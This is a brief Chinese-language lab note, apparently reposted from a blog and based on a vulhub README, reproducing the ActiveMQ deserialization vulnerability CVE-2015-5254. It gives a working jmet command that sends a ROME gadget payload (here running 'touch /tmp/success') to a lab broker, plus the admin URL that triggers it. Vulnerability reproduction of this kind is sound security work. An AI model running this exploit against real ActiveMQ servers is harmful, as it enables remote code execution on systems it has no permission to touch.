ActiveMQ 反序列化漏洞（CVE-2015-5254）

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.245.130 61616

未建立

查看,点击消息列队,需登陆

http://192.168.245.130:8161/admin/browse.jsp?JMSDestination=event

成功

模仿自:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md

转载于:https://www.cnblogs.com/mrhonest/p/11338697.html